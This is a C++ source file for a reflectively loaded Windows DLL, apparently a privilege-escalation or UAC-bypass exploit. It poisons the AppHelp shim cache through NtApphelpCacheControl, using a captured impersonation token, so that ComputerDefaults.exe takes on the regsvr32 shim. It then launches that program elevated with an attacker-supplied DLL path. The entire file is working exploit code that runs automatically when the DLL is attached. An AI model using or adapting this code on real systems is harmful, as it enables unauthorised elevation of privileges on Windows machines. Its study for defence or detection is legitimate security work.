//#include "stdafx.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

#include "my_winternl.h"
#include "sdb.h"
#include <string>
#include <combaseapi.h>
#include <shellapi.h>

#define BUF_SIZE 0x108
#define MAX_ENV 32767

enum APPHELPCOMMAND
{
	AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
	AppHelpRemove, // 1 -> 0x22007
	AppHelpUpdate, // 2 -> 0x2200B (Admin)
	AppHelpEnum,  // 3 -> 0x2200F (Admin) (Looks unused)
	AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
	AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
	AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
	AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
	AppHelpSnapshot, // 8 -> 0x220023 (Admin)
	AppHelpQueryModule, // 9 -> 0x220027
	AppHelpRefresh, // 10 -> 0x22002B
	AppHelpCheckForChange, // 11 -> 0x22002F
	AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId)
};

struct ApphelpCacheControlData
{
	BYTE   unk0[0x98];          // 0x00 -> 0x98 (all zeros?)
	DWORD  query_flags;           // 0x98;
	DWORD  cache_flags;         // 0x9C	  
	HANDLE file_handle;	    // 0xA0
	HANDLE process_handle;	    // 0xA4
	UNICODE_STRING file_name;   // 0xA8
	UNICODE_STRING package_name;// 0xB0
	DWORD          buf_len;     // 0xB8
	LPVOID         buffer;      // 0xBC
	BYTE           unkC0[0x2C]; // 0xC0 -> 0xEC
	UNICODE_STRING module_name; // 0xEC (used for 9)
	BYTE           unkF4[0x14]; // 0xF4 -> 0x108
};

typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

HANDLE CaptureImpersonationToken();

struct APPHELP_QUERY
{
	int match_tags[16];
	int unk40[16];
	int layer_tags[8];
	int flags;
	int main_tag;
	int match_count;
	int layer_count;
	GUID exe_guid;
	int unkC0[264 / 4];
};

BOOL resolveSdbFunctions();
extern SdbOpenDatabase SdbOpenDatabasePtr;
extern SdbCloseDatabase SdbCloseDatabasePtr;
extern SdbTagToString SdbTagToStringPtr;
extern SdbGetFirstChild SdbGetFirstChildPtr;
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
extern SdbGetNextChild SdbGetNextChildPtr;
extern SdbReadBinaryTag SdbReadBinaryTagPtr;

TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
{
	TAG tmpTag = 0;
	DWORD dwD = 0;
	TAGID newtid = TAGID_NULL;
	LPCTSTR tmp;
	DWORD i = 0;
	GUID guid;

	newtid = SdbGetFirstChildPtr(db, tid);
	while (newtid != TAGID_NULL)
	{
		tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
		tmp = SdbTagToStringPtr(tmpTag);

		// process tag types
		switch (tmpTag & 0xFFFF)
		{
		case TAG_EXE_ID:
			if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
			{
				if (IsEqualGUID(guid, exe_guid))
				{
					return tid;
				}
			}
			break;

		default:
			break;
		}

		// recursive
		if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
		{
			TAGID ret = findExeByGuid(db, newtid, exe_guid);
			if (ret != 0)
			{
				return ret;
			}
		}

		// get next tag
		newtid = SdbGetNextChildPtr(db, tid, newtid);
	}

	return 0;
}

TAGID GetTagForRegsvr32()
{
	resolveSdbFunctions();

	PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
	if (!db)
	{
		DWORD stat = GetLastError();
		printf("Failed to load SDB file %d\n", stat);
		return 0;
	}

	GUID guid;

	IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);

	TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);

	SdbCloseDatabasePtr(db);

	return ret;
}

LPWSTR GetEnvVar(LPWSTR env)
{
	WCHAR buf[MAX_ENV];
	GetEnvironmentVariable(env, buf, MAX_ENV);
	return buf;
}

DWORD CALLBACK ExploitMain(char * lpReserved)
{
	WCHAR dllpath_buf[MAX_PATH];
	WCHAR payloadPath[MAX_PATH];
	MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);

	if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
	{
		printf("Couldn't get fullpath to dll %d\n", GetLastError());
		return 1;
	}

	std::wstring dllpath;
	dllpath = L"\"";
	dllpath += dllpath_buf;
	dllpath += L"\"";

	TAGID tag = GetTagForRegsvr32();
	if (tag == 0)
	{
		printf("Failed to get SDB tag for regsvr32\n");
		return 1;
	}

	printf("Found regsvr32.exe tag: %08X\n", tag);

	HANDLE token = CaptureImpersonationToken();
	_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
	_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");

	ApphelpCacheControlData data = { 0 };

	std::wstring exe = GetEnvVar(L"SystemRoot");
	exe += L"\\System32\\ComputerDefaults.exe";

	std::wstring full_path = L"\\??\\";
	full_path += exe.c_str();

	printf("Interposing on cache for %ls\n", full_path.c_str());

	fRtlInitUnicodeString(&data.file_name, full_path.c_str());

	data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		nullptr, OPEN_EXISTING, 0, 0);
	if (data.file_handle == INVALID_HANDLE_VALUE)
	{
		printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
		return 1;
	}

	data.query_flags = 0xFF;
	data.cache_flags = 1;

	APPHELP_QUERY query = { 0 };
	query.match_count = 1;
	query.layer_count = 0;
	query.match_tags[0] = tag;
	query.unkC0[0] = 1;

	data.buffer = &query;
	data.buf_len = sizeof(query);

	int status = -1;

	// Ensure it the cache if flushed
	fNtApphelpCacheControl(AppHelpRemove, &data);

	if (SetThreadToken(nullptr, token))
	{
		status = fNtApphelpCacheControl(AppHelpUpdate, &data);
		RevertToSelf();
	}
	else
	{
		status = GetLastError();
	}

	if (status == 0)
	{
		LPCWSTR verb = L"runas";

		printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
		ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
		printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
	}
	else
	{
		printf("Error adding cache entry: %08X\n", status);
	}

	return 0;
}

extern HINSTANCE hAppInstance;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE *)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		ExploitMain((char*)lpReserved);
		ExitProcess(0);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}